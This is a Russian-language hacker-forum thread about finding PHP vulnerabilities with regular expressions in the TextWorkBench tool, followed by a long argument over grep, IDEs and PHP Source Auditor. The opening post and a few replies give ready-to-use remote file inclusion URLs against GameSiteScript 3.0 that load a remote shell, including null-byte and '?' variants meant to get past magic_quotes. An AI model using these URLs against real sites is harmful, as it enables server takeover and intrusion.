![]() |
Использование регулярных выражений при поиске уязвимостей php
Поиск уязвимостей с помощью регулярных выражений. Поиском уязвимостей в php скриптах заниматься часто не столько сложно, сколько долго и нудно. Хочу предложить вам более удобный и практичный, а главное, гораздо более быстрый способ поиска уязвимостей в скриптах, нежели тупой пофайловый просмотр кода через текстовые редакторы и трение глаз о монитор или тыкание кавычек во все подряд переменные в браузере. Я говорю о поиске наиболее известных уязвимостей с помощью регулярных выражений. Конечно, 100% результата в качестве уязвимостей вы не получите, но существенно облегчите себе работу. Итак, начнем. 1. Чем искать Поискав в интернете, я наткнулся на замечательную программу от SilverAge Software, а именно TextWorkBench http://blacktoad.info/ok/textworkbench_1.jpg Она является платной, однако, что меня приятно удивило, позволяет работать, хоть и с ограничением функциональности, но выполняя некоторые нам необходимые вещи даже после окончания 15-дневного демо-периода. Скачать: http://silveragesoftware.com/ftp/HFF...benchSetup.exe На момент написания сайт производителя в дауне, надеюсь, что это не навечно... Залил textworkbench на хост, т.к. сайт производителя висит Скачать Text Workbench 2. Как искать Методом проб и ошибок были составлены следующие регулярные выражения (синтаксис которых подходит именно для этой программы) : SQL injection Вероятно, что бага есть (если в запросе встречается переменная GPC, редко когда встречается, к сожалению) : Код:
{where}|{order by}|{sort by}|{group by}[`\s]*[^\$]*{['"]\.}?\{?\s*\$_{GET}|{POST}|{COOKIE}|{REQUEST}[^\s;]*Код:
{where}|{order by}|{sort by}|{group by}[`\s]*[^\$]*{['"]\.}?\{?\s*\$[^\s;]*PHP include Тут все гораздо проще :) Вероятно, что бага есть (GPC переменная входит в инклуд) : Код:
{include}|{require}|{include_once}|{require_once}\s*\(?[^\$;]*\$_{GET}|{POST}|{COOKIE}|{REQUEST}[^;]+;Код:
{include}|{require}|{include_once}|{require_once}\s*\(?[^\$;]*\$[^;]+;В качестве скрипта для примера возьму GameSiteScript 3.0 Скачать и посмотреть описание можно тут Вводим поиск на маловероятный php include :) Код:
{include}|{require}|{include_once}|{require_once}\s*\(?[^\$;]*\$[^;]+;Вот один из них http://blacktoad.info/ok/primer.jpg Смотрим код файла \plugins\site\themes\21\smallbox.php PHP код:
Это значит, что при register_globals on мы можем задать через GET или POST переменную $themecfg['boxcontentorder'], которая потом будет использоваться при инклуде. Итог: найдена новая RFI уязвимость Код:
http://site/gamesitescript/plugins/site/themes/21/smallbox.php?themecfg[boxcontentorder]=http://shell?PS к сожалению форум все еще добавляет пробелы в код, поэтому не забывайте их удалять перед использованием. |
имхо такими методами ты пропустишь больше уязвимостей чем найдешь.. а еще ложные срабатывания..
проще уже весь сорс взять и изучить.. очень удобно, кстати, использовать редактор с развитой подсветкой синтаксиса - выделяешь в нем ярким цветом потенициально опасные функции и т.п., и при беглом осмотре они сразу бросаются в глаза.. а там уже разбираешься.. ) |
Цитата:
|
+1 я опасные функции подсвечиваю
|
Залил textworkbench на хост, т.к. сайт производителя висит
Скачать Text Workbench |
>> Изучи-ка сорс эдак в 5 мб....
если будет необходимо, то почему бы и нет? )) >> Поэтому я и представил тут способ как сильно себе облегчить поиск уязвимостей. ну, это боян еще тот.. и его тут по-моему уже не раз успели представить.. ) зачем тут тебе пригодилась шареваре-программка от славы васильева мне вообще непонятно - проще уж все это в виде собственного скрипта реализовать (хотя подобных уже итак дофига есть).. |
Цитата:
Из подобного видел только php bug scanner by Razor, но там несколько иначе. Не видел ничего подобного нигде. Покажи. Программка имхо одна из самых лучших помощников программиста. Реализовать в виде скрипта может и проще, но не дает свободы действий. Кроме того, смысл писать то, что уже реализовано в приличном варианте? |
обычно сорсы много весят из-за картинок :) а сами сценарии не такие уж и тяжелые.
|
Цитата:
|
Цитата:
---Скорее уж веревку мыло и в туалет Alexsize |
>> Не видел ничего подобного нигде. Покажи.
PHP Source Auditor 3, например.. |
Цитата:
|
х.ле мозг ипать grep и больше НИЧЕГО, лично я только им пользуюсь ;)
|
Цитата:
|
Я Удивлен: Кто нить понимает, что для них это единственный способ искать уязвимости? Статья написана для тех, кто начинает, в тоже время знает основы, и т.д., в свое время я учился по подобным статьям, и поверьте мне это дало определенный результат... Я бы сказал спасибо автору в свое время, может мое нение никого не интересует, но автор молодец
ЗЫ Скорее всего эта самая полезная статья написанная в этом разделе за год |
>> ЗЫ Скорее всего эта самая полезная статья написанная в этом разделе за год
ой не смеши, в статье описывается "маленькая фишка" и ниче более.. а тему об автоматизации поиска уязвимостей с помощью тех же регулярок можна раскрывать до бесконечности долго.. >> Результат - ни одной найденной уязвимости. Есть мысли еще? по-моему, Iron просто не учел такой штуки как вожмозность использовать нулл-байт при инклуде, кстати, и ты тоже про него забыл: http://site/gamesitescript/plugins/site/themes/21/smallbox.php?themecfg[boxcontentorder]=http://shell?%00 т.ч. чтоб заюзать баг надо еще, чтоб magic_quotes были = off .. |
Очень давно выкладывали скрипт на ПХП - "PHP source vulnerability scaner", который для указаной папки перебирает разные регулярные выражения. Кто-то из Гринов выкладывал, но к сожалению в скриптах автор не подписан, но немного поискав по форуму можна найти.
Для этого метода можна использовать также Нотепад++, в нем есть функция поиска по регулярных выражениях как в открытых файлах так и в указаной директории + визуально все прекласно видно. |
Метод баянный. Пошло все еще с появления koders.com/code.google.com.
grep пожалуй и правда не слишком удобно (но тем не менее можно) юзать, но в любой нормальной IDE есть поиск по файлам с поддержкой регексов. |
Цитата:
http://site/gamesitescript/plugins/site/themes/21/smallbox.php?themecfg[boxcontentorder]=http://site/shell.php поставить ? и все, что после - отрежется вопросом, следовательно, работать будет и при magic quotes on. Меня поражает такая некомпетентность и неадекватность. Мой метод хорош, т.к. приносит хорошие результаты. С php скриптом сравнивать бесполезно, т.к. регулярные выражения там просто другие, + чтобы немножко изменить способ поиска или регулярку - придется лезть скрипт переписывать. 2 KSURi А я разве писал, что он сильно новый? Я лишь описал суть метода, его принцип действия и все необходимое для работы с его помощью. Таких статей еще не было. Кроме того, эту программу я предложил не потому, что только она умеет искать с помощью регулярных выражений, я в курсе, что не только она, а потому, что синтаксис ее регулярных выражений несколько удобнее, чем везде + она сама очень удобна для использования. 2 presidentua А ты уверен, что искать с помощью php скрипта быстрее и удобнее? А в TextWorkbench встроен текстовый редактор, можно сразу просмотреть файл с уязвимостью целиком... В данном случае самый замечательный php скрипт уступит по функциональности, а главное - по скорости. |
>> и все, что после - отрежется вопросом, следовательно, работать будет и при magic quotes on.
ну что тут сказать, я вчера протупил немнога )) >> Меня поражает такая некомпетентность и неадекватность. вот тут ты зря.. моя компетентность, например, позволила мне суметь запустить PHP Source Auditor 3 и найти им багу в скрипте, а твоя почему то - только написать, что этот скрипт нифига не находит.. вот кстате: Код:
Vulnerability Type: Remote File Inclusion>> Мой метод хорош, т.к. приносит хорошие результаты. во-первых, ЭТО НЕ ТВОЙ МЕТОД - его все уже давно юзают - поиск регулярками... (и не важно какую прогу ты при этом юзаешь..) =/ во-вторых, он плох, если сорец весит 5 мб )).. то, что ты описал это не поиск уязвимостей даже - это поиск мест в коде, где они могут быть.. загляни в сорец PHP Source Auditor 3 - он не только ищет места, где могут расположиться уязвимости, он эти уязвимости затем проверяет - вот это более-менее продвинутый способ их поиска.. >> С php скриптом сравнивать бесполезно, т.к. регулярные выражения там просто другие, + чтобы немножко изменить способ поиска или регулярку - придется лезть скрипт переписывать. бред какой-то, чесслово.. можна всегда написать скрипт который будет искать по заданным тобой регуляркам.. можна даже сделать чтоб по нажатию кнопки открывлся сорец в нужном месте, можно вообще много всего сдлеать, написав свой скрипт, а не юзая шаровару за 40$ (если не ошибаюсь)... )) |
угу, сначала ты утверждаешь, что лучше просмотра сорса ничего нет, а теперь ты изнываешь от вожделения и желания самоутвердиться, доказывая, насколько лучше и правильнее PHP Source auditor 3 находит баги чем вышеописанный способ. Смею заверить, что твой любимчик пропускает гораздо больше, чем данные в начале грамотно составленные регулярки. Насчет того, что 'все' ищут регулярками - неправда. С нетерпением жду новую порцию желчи и яда...
|
>> С нетерпением жду новую порцию желчи и яда...
ну жди.. дальше дискуссию продолжать думаю нет смысла.. я вообще не понял, чем тебя мои соощения в этой теме так задели/обидели/или_еще_чего... |
Мдя....залезем в статью грейта "Скрываем код...," и прогу эту выкинуть
-- А потом покупаем лицензию на ионкуб последний и хавкеры всего мира идут на пенсию. Alexsize |
Цитата:
|
Народ, что то от темы отошли... Что за лягушатник тут развели?! Конечно прога не универсал и конечно "Ручками" круче. Да вот тока не все могут упорно вкуривать однообразный текст.
|
| Время: 17:54 |